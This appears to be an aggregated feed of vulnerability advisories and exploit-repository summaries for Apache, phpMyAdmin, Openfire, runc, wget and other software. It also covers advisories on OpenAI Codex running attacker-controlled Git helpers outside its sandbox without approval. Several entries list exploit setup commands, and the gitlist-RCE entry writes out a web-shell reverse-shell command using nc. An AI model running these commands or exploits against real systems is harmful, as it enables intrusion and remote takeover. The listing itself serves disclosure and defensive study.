CVE-2019-16113-Bludit-3.9.2-RCE

CVE-2019-16113 Bludit 3.9.2 远程命令执行 RCE...

CVE-2026-19592

OpenAI Codex CLI (v0.102.0–0.130.0) and Codex Desktop (Windows and macOS) executed a repository-supplied core.fsmonitor helper during background Git metadata collection, outside the command sandbox and without a user-approval prompt. An attacker who delivers a repository with its .git/config inta...

EUVD-2026-69396

OpenAI Codex CLI for Windows, macOS, and Linux and Codex Desktop for Windows and macOS automatically collected Git repository metadata without disabling the repository-local core.fsmonitor setting. If a user opens or uses an attacker-prepared repository whose preserved .git/config sets...

CVE-2026-19592

OpenAI Codex CLI for Windows, macOS, and Linux and Codex Desktop for Windows and macOS automatically collected Git repository metadata without disabling the repository-local core.fsmonitor setting. If a user opens or uses an attacker-prepared repository whose preserved .git/config sets...

CVE-2022-29078

CVE-2022-29078 漏洞 ejs 3.1.6 docker 设置 root@kitploit: git clone https://github.com/miko550/CVE-2022-29078.git cd CVE-2022-29078 docker build . -t miko/vuln-ejs docker run -p 49160:8080 -d --name vuln-ejs miko/vuln-ejs 使用 root@kitploit: http://127.0.0.1:49160/ 漏洞利用 在浏览器中 root@kitploit:...

CVE-2016-5734-docker

CVE-2016-5734-docker PhpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞（CVE-2016-5734） 搭建 root@kitploit: git clone https://github.com/miko550/CVE-2016-5734-docker.git cd CVE-2016-5734-docker docker compose up hhtp://localhost:8083 利用 root@kitploit: python3 cve-2016-5734.py -u root --pwd="root" http://localhost:8083...

cve-2019-5736-exp

cve-2019-5736-exp Este es un exploit de prueba de concepto PoC para la vulnerabilidad CVE-2019-5736 en runc, el runtime utilizado en Docker. Descargo de responsabilidad Realicé este proyecto como ejercicio, con fines educativos y por diversión. No hace falta decir que no apoyo el uso no ético y/o...

cve-2021-42013.get

Apache 2.4.50 - 路径遍历或远程代码执行 cve-2021-42013.py 是一个 Python 脚本，用于帮助发现 Apache 2.4.50 中的路径遍历或远程代码执行漏洞。我们提供了存在漏洞的 Docker 实例，以便您动手实践 CVE-2021-42013 如果启用了 CGI-BIN，那么我们可以执行远程代码执行，但不能执行路径遍历，因此我们在 httpd.conf 的 Alias 部分下添加了 "icons" 目录，用于检查路径遍历漏洞。 httpd.conf 中的漏洞配置 root@kitploit: 1. Enable CGI-BIN 2. Add...

cve-2021-42013

Apache 2.4.50 - 路径遍历或远程代码执行 cve-2021-42013.py 是一个 Python 脚本，可帮助发现 Apache 2.4.50 中的路径遍历或远程代码执行漏洞。文中提供了易受攻击的 Docker 实例，供您动手实践 CVE-2021-42013 如果启用了 CGI-BIN，则可以执行远程代码执行，但无法进行路径遍历；因此，在 httpd.conf 的 Alias 部分中添加了“icons”目录，用于检查路径遍历漏洞。 httpd.conf 中的易受攻击配置 root@kitploit: 1. Enable CGI-BIN 2. Add "icons"...

CVE-2023-32315

CVE-2023-32315 Openfire 控制台身份验证绕过漏洞（含 RCE 插件） 设置 root@kitploit: git clone https://github.com/miko550/CVE-2023-32315.git cd CVE-2023-32315 pip3 install -r requirements.txt 使用方法 root@kitploit: python3 CVE-2023-32315.py -t http://127.0.0.1:9090 python3 CVE-2023-32315.py -l lists.txt 步骤 1. 运行漏洞利用程序 2...

CVE-2021-41773S

CVE-2021-41773 Apache 路径遍历漏洞的易受攻击 Docker 镜像 该漏洞 仅 适用于具有特定非默认配置的 2.4.49 版本。在某些情况下，这可能导致文件读取或代码执行。 https://twitter.com/ptswarm/status/1445376079548624899 可造成文件读取的漏洞配置 可直接从 Docker Hub 拉取容器 docker pull blueteamsteve/cve-2021-41773:no-cgid 并使用以下命令执行 docker run -dit -p 8080:80...

wget: GNU Wget: Arbitrary code execution or denial of service via crafted HTML attribute

A flaw was found in GNU Wget. A remote attacker can exploit a heap buffer overflow vulnerability in the htmlquotestring function by providing a specially crafted HTML attribute. This can lead to memory corruption and potentially result in arbitrary code execution or a denial of service...

Moderate: Red Hat Security Advisory: wget security, bug fix, and enhancement update

An update for wget is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the C...

CVE-2021-41773-L-

CVE-2021-41773 🐛 Apache HTTP Server 2.4.49 中的路径遍历和文件泄露漏洞 在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现了一个缺陷。攻击者可以利用路径遍历攻击，将 URL 映射到由类似 Alias 指令配置的目录之外的文件。 如果这些目录之外的文件未受到通常默认配置“require all denied”的保护，则这些请求可能成功。如果 CGI 脚本也对这些别名路径启用，则可能导致远程代码执行。 此问题已知在野外被利用。 此问题仅影响 Apache 2.4.49，不影响较早版本。 来源 路径遍历 概述...

CVE-2024-3094-info

CVE-2024-3094-información https://github.com/lockness-Ko/xz-vulnerable-honeypot https://tukaani.org/xz-backdoor/ - respuesta de Lasse Collin https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27...

CVE-2026-19593

OpenAI Codex Desktop for Windows and macOS automatically inspected Git metadata and working-tree status when a user opened a workspace. If the workspace contains a repository with preserved attacker-controlled .git/config, the attr.tree setting and a configured clean or process filter can cause G...

CVE-2026-19593

OpenAI Codex Desktop for Windows and macOS automatically inspects Git metadata when a workspace is opened. If the repository contains an attacker-controlled .git/config with the attr.tree setting and a configured clean or process filter, Git executes an attacker-controlled program outside Codex's...

EUVD-2026-69395

OpenAI Codex Desktop for Windows and macOS automatically inspected Git metadata and working-tree status when a user opened a workspace. If the workspace contains a repository with preserved attacker-controlled .git/config, the attr.tree setting and a configured clean or process filter can cause G...

CVE-2019-16662

CVE-2019-16662 rConfig 3.9.2 远程代码执行漏洞 CVE-2019-16662 的官方利用工具...

gitlist-RCE

gitlist-RCE CVE-2014-4511 示例： shell 上传成功后： 访问： http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...